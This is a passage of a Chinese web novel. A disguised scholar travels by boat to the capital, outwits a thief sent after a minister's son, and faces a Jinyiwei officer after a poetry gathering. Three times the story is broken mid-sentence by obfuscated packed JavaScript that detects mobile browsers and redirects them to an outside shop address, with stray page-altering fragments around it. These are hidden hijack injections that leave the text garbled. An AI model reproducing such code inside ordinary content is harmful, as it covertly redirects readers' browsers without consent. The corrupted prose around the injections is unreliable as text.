“留下吧。”她回头，“我这儿，正好缺个能打的人。” 慕容芷眼眶一红，跪了下去：“公子大恩，慕容芷此生必报。” “起来。”谢青梧扶她，“但我有个条件。” “您说。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16946679|193012||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “从此以后，你是慕容止，是我的护卫。过往的事，到此为止，不要再提，也不要再寻仇。”谢青梧盯着她，“你能做到吗？” 慕容芷咬唇，良久，重重点头：“能。” “那就好。”谢青梧松开手，“去睡吧。明天开始，我们要准备进京的事了。” 慕容芷退出去后，谢青梧独自坐了许久。 桌上摆着顾临渊送的印章，陈学政的信，还有林疏影托人捎来的银票，二百两，说是铺子的分红。 她一样样看过去，心里清楚，这些人和物，正在织成一张网。 一张托举她向上，也束缚她自由的网。 但她没有选择。要想走远，就得借力；要想做事，就得有依靠。 只是这依靠，将来会不会变成枷锁？ 她吹熄灯，躺下。黑暗中，忽然想起顾临渊那句话：“你这把火，烧得太早了。” 不早。她在心里说。 已经有很多人等了一辈子，等到死，也没等到火光亮起。 她不能再等。 三日后，县学的推举名单正式公布。果然没有谢青梧。 李庸特意来找她，一脸歉意：“怀瑾，这事……我尽力了。但上头压着，我也没办法。” “学生明白。”谢青梧道，“多谢山长。” 李庸看着她平静的脸，叹了口气：“你打算怎么办？” “学生打算自己进京。”谢青梧道，“已经托人办了手续，找好了保人。” 李庸愣了愣：“保人是谁？” “陈学政。” 李庸倒吸一口凉气，随后又释然了：“也是，以你的才学，陈大人赏识也是应该的。”他拍拍谢青梧的肩，“好好考，给咱们江州争光。” 送走李庸，谢青梧开始收拾行装。书要带，笔墨要带，那方青玉印章也要带。慕容芷在一旁帮忙，手脚麻利。 “公子，谢家那边……要不要去辞行？”她问。 谢青梧手顿了顿：“不用。” 自那日立契后，谢家再没人来找过她。仿佛她这个庶子，真成了泼出去的水。 也好。干净。 出发前夜，周子砚来了，背着一大包东西。 “这是我娘做的糕饼，路上吃。”他把包袱塞给慕容芷，又掏出一本书，“这是我爹珍藏的历年会试佳作，你带着，路上看。” 谢青梧接过书，心里发热：“替我谢谢伯父伯母。” 周子砚眼眶有点红：“怀瑾，此去京城，千里之遥。你……保重。” “你也是。”谢青梧看着他，“明年秋闱，我等你来京城。” 周子砚重重点头：“我一定考中！” 两人又说了一会儿话，周子砚才依依不舍地离开。慕容芷去栓院门，回来时，见谢青梧站在槐树下，仰头看天。 “公子，夜深了，该睡了。” “阿芷。”谢青梧没回头，“你说，京城是什么样子？” 慕容芷沉默片刻：“很大，很繁华，也很……冷。” “你去过？” “小时候跟父亲去过一次。”慕容芷声音很低，“街上很多人，楼很高，但每个人都行色匆匆，没人多看谁一眼。” 谢青梧笑了：“那倒好。没人注意，才方便做事。” 她转身回屋：“睡吧。明天一早出发。” 翌日清晨，天还没亮透。 谢青梧最后看了一眼这个小院，她住了不到一个月，却觉得比在谢家十几年都自在。 锁上门，钥匙交给房东。主仆二人背着行囊，走向渡口。 晨雾蒙蒙，江面上泊着几艘客船。船夫在吆喝着招揽客人，挑夫扛着货物上上下下。 谢青梧找到预定的船，正要上去，身后忽然传来马蹄声。 回头一看，竟是顾临渊。 他骑在马上，一身玄色劲装，像是要出远门的样子。 “这么巧？”谢青梧挑眉。 “不巧。”顾临渊翻身下马，“我要回京，正好同路。” 谢青梧看看他，又看看他身后的两匹马：“顾公子不是要骑马回京？” “骑马太累，改坐船了。”顾临渊面不改色，“怎么，谢公子不欢迎？” “岂敢。”谢青梧侧身，“请。” 顾临渊把马交给小厮，跟着上了船。船家是个老把式，见客人齐了，便吆喝一声：“开船喽——” 船桨划开水波，客船缓缓离岸。 谢青梧站在船头，看着江州城在晨雾中渐渐远去。城门，街道，县学，谢家……都模糊成一片灰影。 “舍不得？”顾临渊走到她身边。 “没有。”谢青梧摇头，“只是觉得，这一走，就真的回不去了。” “本来也没打算回去吧。”顾临渊看向她，“你不是那种会回头看的人。” 谢青梧没说话。 江风猎猎，吹起她的衣摆。远处，朝阳正冲破云层，把江面染成金红。 前路漫漫，水阔天长。 她握紧栏杆，轻声说：“走吧。” 船顺流而下，驶向更远的地方。 14. 水路 船在江上走了三日。 头两日风平浪静，谢青梧在舱里看书，顾临渊偶尔过来聊几句。慕容芷一直很警惕，夜里几乎不睡，守在舱门外。 第三日傍晚，船停靠在临江驿码头补给。这是个热闹的水陆码头，船来船往，挑夫、商贩、旅人挤在窄窄的栈桥上。 顾临渊说要下船买些东西，带着小厮去了。谢青梧站在船头透气，看着码头上的人来人往。 “公子。”慕容芷走过来，声音压低，“有人盯梢。” 谢青梧不动声色：“几个？” “两个。一个在茶棚，一个在货摊，半柱香换一次位置。”慕容芷目视前方，像在欣赏江景，“看步伐，练家子。” “冲你来的？” “不像。”慕容芷摇头，“他们看的……是咱们的船。” 谢青梧心思转得飞快。这船是顾临渊安排的，船上除了他们主仆和顾家小厮，还有五六个散客。盯梢的人，是冲顾临渊，还是冲她？ 正想着，顾临渊回来了，手里提着个油纸包。 “临江驿的桂花酥，尝尝。”他递过来，目光扫过码头时，微微一顿，“有人盯梢？” 谢青梧接过油纸包：“两个。阿芷发现的。” 顾临渊脸上笑容淡了：“看来有人不想我顺利回京。” “冲你来的？” “八九不离十。”顾临渊语气平静，“家父最近在查江南盐税，动了某些人的蛋糕。我这次南下，他们估计以为我是来拿证据的。” 谢青梧心里一沉。这种事，沾上就是麻烦。 顾临渊看她神色，反而笑了：“别担心。他们不敢在码头动手，最多跟到下一站。船明早就走，他们跟不上。” 话虽如此，夜里谢青梧还是睡得不踏实。舱外水声哗哗，偶尔有别的船经过，灯火在水面拖出长长的光带。 四更天时，她忽然醒了。 不是被声音吵醒，是一种本能的不安。她坐起身，侧耳细听，船还在行，水声规律，但似乎……太规律了。 她轻轻下床，拉开舱门一条缝。慕容芷坐在门外，听到动静立刻回头。 “公子？” “你听。”谢青梧低声道。 慕容芷凝神细听片刻，脸色变了：“桨声不对。多了一艘船，在后面跟着。” 谢青梧心念电转：“去叫顾公子。” 话音刚落，隔壁舱门开了。顾临渊披着外衣出来，显然也没睡。 “听到了？”他问。 谢青梧点头。 三人走到船尾，借着月光，果然看见后方三十丈外跟着一艘乌篷船。船不大，没有挂灯，黑黢黢的像个影子。 “跟了多久？”顾临渊问。 “至少半个时辰。”慕容芷道，“他们在减速，我们快他们也快，我们慢他们也慢。” 谢青梧盯着那艘船，忽然道：“不是白天那两个人。” “你怎么知道？” “白天的盯梢是为了确定目标，现在既然跟上了，就不会再派同批人。”谢青梧分析，“而且那艘船吃水很浅，上面最多三四个人。如果是杀人灭口，不会只派这么点人。” 顾临渊眉头一挑：“你是说……” “他们不是来杀人的。”谢青梧看向他，“是来偷东西的。或者……栽赃。” 这话一出，顾临渊脸色变了。他从江南带回来的东西里，确实有几封要紧的信函。若被栽赃些别的…… “我去处理。”慕容芷道。 “等等。”谢青梧拦住她，“他们既然敢跟来，肯定有把握不被发现。你现在过去，反而打草惊蛇。” “那怎么办？” 谢青梧沉思片刻，忽然笑了：“让他们来。” 她转身回舱，不多时拿出一件披风、一个包袱。她把披风递给顾临渊：“穿上这个，去船头站着，让他们看清是你。” 顾临渊懂了：“你想让他们以为我还在舱外？” “对。”谢青梧把包袱塞进他怀里，“这里头是我换下来的衣裳，你抱着，装作很紧张的样子。阿芷，你护送顾公子去船头，然后守在舱门外，做出严防死守的架势。” 慕容芷不解：“那舱里……” “舱里我来布置。”谢青梧眼里闪着光，“他们既然要偷，就让他们偷个‘好东西’。” 她让顾临渊和慕容芷依计行事，自己回舱快速收拾。书箱挪到角落，被褥铺开，装作有人睡觉的样子。然后她从行囊里取出一个木盒，那是装印章和私信的，平时都随身带着。 她从书箱底层翻出一本旧账册，那是林疏影铺子的流水，数字密密麻麻。又把周子砚给的那本会试佳作拆开，取了几张空白页。 研墨，提笔。 她飞快地在空白纸上写了几行字，用的是左手，字迹歪歪扭扭，像匆忙间记下的笔记。写完后折好，和账册一起放进木盒。 最后，她从随身荷包里取出一个小瓷瓶，倒出一点粉末，撒在木盒边缘。 做完这些，她把木盒塞到床铺底下，只露出一角。然后吹熄灯，躲到舱门后的阴影里。 一切就绪。 约莫过了一炷香时间，船尾传来极轻的水声。有人从乌篷船跳过来了。 谢青梧屏住呼吸。 舱门被轻轻推开一条缝，月光泻进来。一个黑影闪身而入，动作很轻，几乎无声。 黑影在舱里快速扫视，目光落在床铺下的木盒上。他蹑手蹑脚走过去，抽出木盒，打开看了一眼，似乎很满意，立刻合上揣进怀里。 正要离开，忽然顿住了。 他回头看向床铺，犹豫了一下，伸手去掀被子——空的。 黑影意识到不对，转身就要跑。 “既然来了，喝杯茶再走？” 谢青梧从阴影里走出来，手里举着油灯。灯火映着她的脸，平静得可怕。 黑影僵在原地。舱门外，慕容芷和顾临渊堵住了去路。 “盒子还回来，说说谁派你来的。”谢青梧声音温和，“或者我让护卫打断你的腿，再慢慢问。” 黑影盯着她，忽然笑了：“小公子，你以为就你们三个人，拦得住我？” 他话音未落，袖中滑出一把匕首，直刺谢青梧面门。 慕容芷动了。 她动作快得像道影子，几步欺近，右手扣住黑影手腕一拧。咔嚓一声脆响，匕首落地。左手一掌拍在黑影胸口，把他打得撞在舱壁上。 整个过程不过眨眼之间。 黑影闷哼一声，捂着胸口，惊骇地看着慕容芷：“你……你是……” “盒子。”慕容芷伸出手。 黑影咬牙，从怀里掏出木盒扔过去。慕容芷接住，检查无误，退到谢青梧身边。 顾临渊这时走进来，看着黑影：“谁派你来的？” 黑影闭口不言。 “不说也行。”谢青梧走过去，捡起掉在地上的账册——刚才打斗时从盒里掉出来了。她翻开一页，指着上面的数字，“这是江南三家盐商的走货记录，时间、数量、经手人，清清楚楚。” 黑影瞳孔一缩。 “你猜，你背后的主子要是知道，这么重要的东西被你弄丢了，会怎么对你？”谢青梧合上账册，“当然，你也可以说我们诬陷你。但你觉得，他们是信你这个贼，还是信顾首辅的公子？” 黑影额角冒出冷汗。 顾临渊适时开口：“你说了，我保你不死。不说，我现在就把你扔江里喂鱼。” 沉默良久，黑影嘶声道：“是……是扬州转运使王大人的人。” “王崇年？”顾临渊眼神冷了，“他让你偷什么？” “信。顾公子从江南带回来的信。”黑影道，“王大人说，只要拿到信，顾首辅查盐税的事就能缓一缓。” “信呢？” “在顾公子的书箱里，我们已经……”黑影话没说完，忽然脸色发青，捂着喉咙倒下。 慕容芷上前查看，摇头：“毒发了，齿间□□。” 人已经没气了。 顾临渊脸色难看：“王崇年这条老狗，手伸得真长。” 谢青梧蹲下身，在黑影身上搜了搜，找出个腰牌，上面刻着“漕运司”三个字。她递给顾临渊：“人死了，但证据还在。” 顾临渊接过腰牌，握紧：“多谢。” “不必。”谢青梧起身，“现在的问题是，这尸体怎么处理？” 慕容芷道：“扔江里。” “不妥。”谢青梧摇头，“万一漂到岸边，被人发现，反而麻烦。” 她想了想：“船上有麻袋吗？装些石头，沉江。腰牌留着，将来有用。” 慕容芷点头，拖着尸体出去了。 舱里只剩下两人。顾临渊看着谢青梧，眼神复杂：“你刚才说的盐商账册……” “假的。”谢青梧从木盒里拿出那几张纸，“我现写的。左手写的，模仿商贾记账的笔迹。” 她翻到其中一页：“你看这里，‘三月初七，盐三百引，经手刘五’。刘五是江州府有名的地痞，专收赃货。王崇年要是真去查，就会发现刘五确实常在码头活动，但跟盐商没关系，只是凑巧。” 顾临渊接过纸细看，越看越心惊。这伪造的账册，时间、人名、数量都对得上，而且留了破绽——破绽很小，但要真去查，就会发现是假的。 “你……你怎么知道这些？”他问。 “林疏影跟我提过。”谢青梧道，“她做布匹生意，常跟码头的人打交道。刘五这种人，黑白两道都熟，拿来当幌子最合适。” 顾临渊沉默良久，才道：“你胆子太大了。万一他当场打开看穿怎么办？” “他不会。”谢青梧笃定，“做贼心虚，他拿到盒子只想赶快走，不会细看。而且我撒了药 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16946680|193012||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 粉，他手上沾了，会发痒，更没心思检查。” 顾临渊这才注意到，自己的手背不知何时也红了一小片，微微发痒。 “这药……” “治外伤的。”谢青梧有点不好意思，“副作用是会让人皮肤发痒，但不伤身，过两个时辰就好了。” 顾临渊哭笑不得。 这时慕容芷回来了，说处理干净了。谢青梧让她去打水洗手，又给了她解痒的药膏。 天快亮时，乌篷船消失了。大概是发现同伙没回去，知道事情败露，撤了。 船继续前行。 早饭后，顾临渊来找谢青梧，手里拿着个小册子。 “这个给你。”他递过来，“王崇年这些年贪赃枉法的证据，我抄了一份。” 谢青梧没接：“这是顾首辅要用的，给我做什么？” “你不是要进京吗？”顾临渊道，“京城那潭水，比江南还浑。这些资料，你留着，说不定哪天用得上。” 谢青梧看着他：“临渊兄，我是去考科举的，不是去掀人老底的。” “我知道。”顾临渊笑了，“但科举考完了呢？你总要入朝，总要站队。多知道些事，没坏处。” 这话在理。谢青梧接过册子，翻开看了几眼，里面记得很详细：某年某月，王崇年收了多少银子，办了什么事，经手人是谁。 “这些……都是真的？” “我父亲查了半年，错不了。”顾临渊眼神冷下来，“朝廷每年拨给漕运的银子，三成进了他口袋。江南盐税亏空，他占大头。” 谢青梧合上册子：“那你打算怎么办？” “回京，交证据，看我父亲怎么处置。”顾临渊顿了顿，“但王崇年背后还有人，动他，就是动他身后那一串。” “你不怕？” “怕。”顾临渊很坦然，“但怕也得做。有些事，总得有人做。” 船又行了几日，进入京畿地界。江面越来越宽，两岸的景色也繁华起来。码头一个接一个，商船、客船、官船往来如织。 这日午后，船停靠在通州码头，这是进京前最后一站。船家说，要在这里补给，明日一早换小船进京城水道。 码头上人声鼎沸。谢青梧下船透气，慕容芷寸步不离地跟着。顾临渊说要去找朋友，带着小厮走了。 通州不愧是京畿门户，街市比江州府还要热闹。绸缎庄、酒楼、茶肆鳞次栉比，行人衣着光鲜，连拉车的马都膘肥体壮。 谢青梧在街上慢慢走，目光扫过两旁的店铺。一家书局吸引了她的注意，店面不大，但招牌上写着“翰林旧书”四个字。 她走进去，书架上整整齐齐码着各类书籍，经史子集都有。店主是个清瘦的中年人，正在整理书目。 “公子想找什么书？”店主抬头问。 “随便看看。”谢青梧走到书架前，随手抽出一本，是前朝诗集。翻开扉页，上面有藏书印，刻着“沈氏墨香阁”。 她心头一跳：“店家，这书……是沈墨沈山长的旧藏？” 店主讶然：“公子认得沈山长？” “久仰大名。”谢青梧合上书，“沈山长的书，怎么会流到通州来？” 店主叹道：“沈山长前年病逝，家人扶灵回乡，带不走的藏书便散了出来。我这里收了几本，都是珍品。” 谢青梧低头看着那枚印章。沈墨，当朝大儒，曾官至礼部尚书，致仕后主持白鹿书院，门生遍天下。她读过的很多文章，都引过沈墨的注疏。 “这本书多少银子？” “十两。” 不便宜。但谢青梧还是买了。她抱着书走出书局，心里有种奇妙的连接感，仿佛通过这本书，触摸到了京城文脉的一角。 回到码头时，夕阳西下。顾临渊已经回来了，站在船边等她。 “买了什么？”他问。 谢青梧把书递过去。顾临渊看到扉页的印章，眼神柔和下来：“沈山长的书……你眼光不错。” “临渊兄认得沈山长？” “家父曾是沈山长的学生。”顾临渊道，“我小时候，沈山长常来府里，教我读过书。他老人家的学问，是这个。” 他竖起大拇指。 谢青梧捧着书，忽然觉得沉甸甸的。这不是一本书，是一段传承，一种期许。 夜里，她坐在灯下翻看这本诗集。沈墨的批注很细，某句诗好在哪里，某个典故出自何处，都写得清清楚楚。字迹清峻，有风骨。 翻到某一页时，她停住了。 那页的批注格外长，写的是前朝女诗人薛涛的一首诗。沈墨在末尾写道：“世人皆道薛涛才高命薄，然以女子之身，得诗名传世，已是不易。若逢明时，当不止于此。” 若逢明时，当不止于此。 谢青梧盯着这行字，看了很久。 窗外，京城的方向有隐约的灯火，明天就要到了。 15. 进京 进京那日，下了今冬第一场雪。 雪不大，细碎的雪花飘在护城河上，还没落下就化了。谢青梧站在船头，看着那座巍峨的城池一点点靠近，城墙比江州府高出一倍，城门洞深得像口井，来往的人流车马密密麻麻。 慕容芷在她身后低声道：“公子，到了。” 船靠岸，码头比通州还要热闹十倍。扛包的挑夫喊着号子，马车轱辘轧过石板路，商贩的吆喝声混在一起，嘈杂得让人耳鸣。 顾临渊先下船，回头伸手：“小心，码头滑。” 谢青梧搭着他的手跳上岸，站稳后立刻松开。顾临渊神色如常，吩咐小厮去雇车。 “先去我那儿住几天。”顾临渊道，“等找好院子再搬。” 谢青梧本想拒绝，但看看这人山人海的码头，又看看自己那两个包袱，点了点头：“叨扰了。” 顾家的马车很宽敞，里面铺着厚毯，角落还放着暖炉。慕容芷和顾家小厮坐在车辕上，马车缓缓驶入城门。 京城的主街叫朱雀大街，宽得能并行六辆马车。两旁店铺林立，酒楼茶肆的招牌一个比一个气派。行人衣着光鲜，连街上跑的狗都毛色油亮。 但谢青梧注意到，街角巷尾，仍有衣衫褴褛的乞丐蜷缩着。一个妇人抱着孩子跪在雪地里，面前摆个破碗，没人多看她们一眼。 “京城就是这样。”顾临渊顺着她的目光看去，“富的富死，穷的穷死。” 马车拐进一条清净些的巷子，停在座宅子前。门楣上悬着“顾府”的匾额，字是御笔亲题，金漆在雪光里微微发亮。 管家迎出来，看见谢青梧时愣了愣，随即恢复笑脸：“少爷回来了。这位是……” “谢怀瑾谢公子，我的客人。”顾临渊道，“收拾个清净院子出来，再派两个妥当人伺候。” 管家应声去了。顾临渊引着谢青梧往里走，穿过垂花门，绕过影壁，眼前豁然开朗，三进的院子，游廊曲折，假山池塘点缀其间。虽是冬日，仍有几株老梅开着，暗香浮动。 “你父亲……”谢青梧迟疑。 “他不在京。”顾临渊道，“去江南查案了，年前才回。这宅子平时就我和几个下人住，你不用拘束。” 说话间，管家已经安排好了院子，是西边一个独立小院，名叫“听竹轩”。三间房，带个小书房，窗外真有一片竹林，雪压竹叶，沙沙作响。 慕容芷把行李搬进去，手脚麻利地收拾起来。顾临渊站在院门口，看着屋里忙碌的身影，忽然道：“你这护卫，不简单。” 谢青梧神色不变：“林姑娘荐的，说是可靠。” “可靠是可靠。”顾临渊顿了顿，“但她手上茧子的位置……是常年握刀的手。寻常护院可练不出那种茧子。” 谢青梧抬眼看他。 顾临渊笑了：“放心，我不多问。你带来的人，自然有你的道理。” 他转身要走，又停住：“对了，明晚有个诗会，在城南望月楼。京里几个有名的才子都会去，你要不要来？” 诗会。谢青梧心里一动。这是结交同窗、扬名立万的好机会。 “我去。” “那好，明晚我来接你。”顾临渊摆摆手，“好好歇着。” 他一走，院子顿时安静下来。雪还在下，竹叶上的积雪越来越厚。慕容芷收拾完屋子，端了热茶过来。 “公子，顾公子他……”她欲言又止。 “他看出来了，但不会说。”谢青梧接过茶，“顾临渊这个人，看着纨绔，其实心里有数。他既然不问，咱们就当不知道。” 慕容芷点头：“那我这几天少出门。” “不用。”谢青梧道，“该怎样还怎样。越躲躲藏藏，越惹人疑心。” 她在窗边坐下，翻开那本沈墨批注的诗集。书页泛黄，墨香犹在，但写字的人已经不在了。 京城，她终于来了。 第二日晚，顾临渊果然来接她。他换了身月白锦袍，外罩银狐披风，衬得眉眼越发俊朗。谢青梧还是平常那身青衫，只加了件厚斗篷。 望月楼在城南，是京城有名的酒楼。三层飞檐，每层檐角都挂着一串风铃，风吹过时叮当作响。 诗会在三楼雅间。谢青梧跟着顾临渊上楼时，里头已经坐了好些人。都是年轻学子，最大的不过二十出头，个个衣着光鲜，谈笑风生。 “顾兄来了！”一个穿紫衣的公子起身招呼，目光落到谢青梧身上，“这位是……” “谢怀瑾，江州府的小三元。”顾临渊介绍，“怀瑾，这位是礼部侍郎家的公子，赵文启。” 谢青梧拱手行礼。赵文启上下打量她，笑道：“原来是谢公子，久仰。你那篇‘星火燎原’，我在京里都听说了。” 这话说得微妙。谢青梧只当没听出弦外之音：“谬赞了。” 陆续又介绍了几人，都是官宦子弟。谢青梧一一见礼，态度不卑不亢。有人对她好奇，有人不屑，也有人只是淡淡点头。 诗会开始，规矩是击鼓传花。花停在谁手里，谁就要以“雪”为题作诗。 第一轮花停在一个瘦高个手里。他叫李文远，父亲是御史。他起身踱了两步，吟道：“玉尘飞落九重天，覆尽人间万户檐。莫道寒冬无暖意，梅梢已报春来先。” 众人纷纷叫好。赵文启笑道：“李兄这诗，尾句出彩。寒冬将尽，春意已萌，好寓意。” 第二轮花传到顾临渊手里。他想了想，吟道：“夜雪叩窗棂，炉红茶烟青。忽忆江南岸，蓑衣钓寒汀。” 这诗淡，但意境好。谢青梧听出他诗里那点思乡之情，顾家祖籍江南，他来京城不过三年。 “顾兄诗风越发清雅了。”有人赞道。 第三轮，花停在了谢青梧面前。 满座目光都聚过来。江州府的小三元，到底有多少斤两，今晚就能见分晓。 谢青梧起身，走到窗边。窗外雪还在下，远处街市的灯火在雪幕里晕成一片光晕。她看着那些光，忽然想起码头那个乞讨的妇人。 “琉璃世界白玉京，”她开口，声音清朗，“朱门酒肉冻骨轻。” 头两句一出，雅间里静了一瞬。琉璃世界、白玉京，本是赞美雪景，但接上“朱门酒肉冻骨轻”，味道就变了。 谢青梧继续吟道：“谁家高阁暖红袖，何处深巷饥儿啼？” 后两句更直白。暖阁里的红袖添香，深巷中饥儿的啼哭，对比鲜明。 “愿化长风卷地起，”她顿了顿，声音陡然转高，“扫尽不平还太平！” 诗成，满室寂然。 这诗……太锐了。锐得不像是来交友，倒像是来砸场子的。 赵文启脸色不太好看：“谢公子这诗，气魄是足，只是……未免过于激愤了些。” “激愤吗？”谢青梧转身，脸上带着淡笑，“赵公子觉得，这京城里，有没有朱门酒肉，有没有深巷饥儿？” 赵文启语塞。 顾临渊这时开口：“怀瑾这诗，写的是实情。咱们坐在这暖阁里吟诗作对，外头确实有人冻着饿着。能看见，敢写出来，是胸怀。” 他这么一说，其他人也不好再驳。气氛有些尴尬。 就在这时，雅间的门被敲响了。一个小厮进来，对顾临渊低语几句。顾临渊脸色微变，起身道：“各位，家中有急事，我先走一步。怀瑾，你……” “顾兄自便。”谢青梧道，“我坐会儿也回去。” 顾临渊匆匆走了。诗会继续，但谢青梧那首诗像根刺，扎在每个人心里。接下来几轮作诗，都规规矩矩的，没人再敢写现实。 谢青梧乐得清静，自顾自喝茶。忽然觉得有道目光落在身上，抬头看去，是斜对面一个一直没说话的蓝衣公子。 那公子见她看来，举杯示意，眼神里有种探究的意味。 诗会散时，已近子时。雪停了，月亮从云层后露出来，照得街面一片银白。 谢青梧和慕容芷沿着长街往回走。夜里风寒，街上行人稀少，只有更夫敲梆子的声音远远传来。 走到一处巷口时，慕容芷忽然拉住她：“公子，有人跟着。” 谢青梧不动声色：“几个？” “一个。从望月楼出来就跟上了。”慕容芷低声道，“脚步很轻，功夫不错。” “能甩掉吗？” “能。”慕容芷看了看四周，“前面有片民居，巷子多，我带您绕路。” 两人加快脚步，拐进一条窄巷。巷子很深，两旁是高高的院墙。慕容芷拉着谢青梧连拐几个弯，最后躲在一处门洞的阴影里。 不多时，一个黑影追进巷子，在岔路口停住，似乎在判断方向。月光照在他脸上，是诗会上那个蓝衣公子。 谢青梧皱眉。她示意慕容芷等着，自己走了出去。 “这位兄台，”她站在月光下，“跟了一路，有事？” 蓝衣公子见行踪暴露，也不慌张，拱手道：“谢公子莫怪。在下陆执，锦衣卫北镇抚司小旗。” 锦衣卫。谢青梧心头一跳，面上却平静：“陆大人有何贵干？” “奉命查案。”陆执走近几步，目光在她脸上打量，“近日京城有几起案子，涉及江南来的学子。谢公子刚从江州来，按例要问问话。” “问话需要夜里跟踪？” 陆执笑了：“白天怕打扰公子雅兴。”他从怀里掏出个木牌，确实是锦衣卫的腰牌，“只是例行公事，问几句就走。” 谢青梧看着那腰牌，忽然想起慕容芷说过，她父亲曾是北镇抚司百户。她侧身让开路：“那请陆大人问吧。” 陆执却摇头：“这里不是说话的地方。谢公子住哪儿？我送公子回去，路上问。” 这话说得客气，但没给拒绝的余地。谢青梧看了眼慕容芷藏身的方向，点头：“有劳。” 三人走出巷子，沿着长街往顾府走。雪又下了起来，细细碎碎的。 “谢公子是江州府人？”陆执问。 “是。” “家里还有什么人？” “父母俱在，还有位兄长。”谢青梧答得简洁，“陆大人想问什么，不妨直说。” 陆执侧头看她：“谢公子爽快。那我直说了，王崇年，你认识吗？” 扬州转运使王崇年。谢青梧心里明白，这是冲顾临渊来的。锦衣卫查到了水路的事。 “听说过。”她道，“扬州转运使，朝廷命官。” “只是听说过？”陆执盯着她，“有人看见，王崇年的人曾在通州码头跟踪谢公子的船。” 谢青梧脚步不停：“陆大人说笑了。我一介书生，王大人跟踪我做什么？” “因为你和顾临渊同行。”陆执道，“顾临渊从江南带回了一些东西，王崇年想要。谢公子，那晚船上发生了什么，你最好说实话。” 他们已经走到顾府所在的巷子。谢青梧停下脚步，转身面对陆执：“陆大人，那晚确实有人夜袭，但被顾公子的护卫打退了。我一个书生，躲在舱里，什么也没看见。” “什么也没看见？”陆执眼神锐利，“可我听说，谢公子那晚很镇定，还帮着出了主意。” 消息真灵通。谢青梧心里冷笑，面上却露出恰到好处的惊讶：“陆大人听谁说的？那晚乱得很，我吓得腿都软了，能出什么主意？” 两人对视，雪落在肩头，很快积了薄薄一层。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16946681|193012||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 陆执忽然笑了：“谢公子说得对，可能是我听错了。”他退后一步，“今晚打扰了。不过……” 他顿了顿：“京城不比江州，水深。谢公子往后行事，还是小心些好。” 说完，转身走了，很快消失在雪幕里。 慕容芷从暗处走出来，脸色发白：“公子，他……” “他起疑了。”谢青梧看着陆执消失的方向，“但没证据。” 回到听竹轩，谢青梧坐在灯下，许久没动。慕容芷端来热茶，她接过，手有些凉。 “阿芷，”她忽然问，“陆执这个人，你听说过吗？” 慕容芷握紧拳头：“听说过。北镇抚司最年轻的千户，他现在应该是千户了。三年前我父亲出事时，他还只是个小旗，但查案很厉害。” “为人如何？” “说不好。”慕容芷摇头，“锦衣卫里，没几个干净的。但他……据说很讲证据，不滥杀。” 谢青梧点点头。今晚陆执虽然逼问，但始终留有余地。他要是真怀疑什么，直接抓人审问就是，不会这么客气。 但这也说明，他盯上她了。 正想着，外头传来脚步声。顾临渊推门进来，一身寒气。 “你没事吧？”他急声道，“我刚回府就听说，陆执找过你？” 谢青梧示意他坐：“问了王崇年的事。” 顾临渊脸色难看：“这条疯狗，动作真快。”他握拳捶桌，“怪我，不该让你卷进来。” “现在说这些没用。”谢青梧道，“陆执只是怀疑，没证据。倒是你，家里出什么事了？” 顾临渊沉默片刻：“我父亲……在江南遇刺。” 谢青梧一惊：“伤得重吗？” “轻伤，但很凶险。”顾临渊声音发沉，“是王崇年的人干的。他知道我父亲在查他，狗急跳墙了。” “那你……” “我得去江南。”顾临渊看着她，“但我担心你。陆执既然盯上你，就不会轻易放手。我走后，你在京城……” “我能应付。”谢青梧打断他，“你父亲要紧。” 顾临渊看着她平静的脸，忽然不知道该说什么。这个少年，总是这样，好像天塌下来都能顶着。 “我已经托了朋友照应你。”他最终道，“赵文启虽然有些纨绔，但人不坏。你有事可以找他。还有……” 他从怀里掏出个玉佩：“这个你拿着。若真遇到麻烦，去城东永兴当铺，找掌柜看这个，他会帮你。” 谢青梧没接：“太贵重了。” “拿着。”顾临渊塞进她手里，“我当你是我朋友。” 朋友。谢青梧握紧玉佩，温润沁凉。 顾临渊连夜就走了。谢青梧站在院门口，看着马车消失在雪夜里，心里空落落的。 京城的第一夜，就这样过去了。 第二天，雪晴了。谢青梧让慕容芷出去找房子，要求在国子监附近，清净些的院子。她自己留在府里，翻看京城的地图和风物志。 午后，管家送来张帖子，是赵文启请她去喝茶，说是诗会未尽兴，要再聚聚。 谢青梧本想推辞，但想到顾临渊的托付，还是去了。 茶楼在国子监对面，叫“清风居”。谢青梧到的时候，赵文启已经在了，同桌的还有昨晚诗会上的几个人。 “谢公子来了！”赵文启热情招呼，“快坐快坐。昨晚你那首诗，我回去越想越觉得妙。今日特意请你来，再讨教讨教。” 这话说得漂亮。谢青梧入座，温声道：“赵公子客气了。” 